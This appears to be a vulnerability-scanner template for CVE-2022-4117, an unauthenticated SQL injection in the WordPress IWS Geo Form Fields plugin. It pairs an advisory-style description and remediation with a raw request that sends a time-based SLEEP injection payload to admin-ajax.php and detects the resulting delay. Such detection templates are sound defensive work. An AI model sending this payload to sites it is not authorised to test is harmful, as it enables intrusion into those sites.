WordPress IWS Geo Form Fields <=1.0 - SQL Injection

id: CVE-2022-4117

info:
  name: WordPress IWS Geo Form Fields <=1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fac3eb4-13c0-442d-b27c-7b7736208193
    - https://wordpress.org/plugins/iws-geo-form-fields/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4117
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4117
    cwe-id: CWE-89
    epss-score: 0.03413
    epss-percentile: 0.9123
    cpe: cpe:2.3:a:iws-geo-form-fields_project:iws-geo-form-fields:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: iws-geo-form-fields_project
    product: iws-geo-form-fields
    framework: wordpress
  tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan,iws-geo-form-fields_project

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"status\":200") && contains(body, "{\"html\":")'
        condition: and
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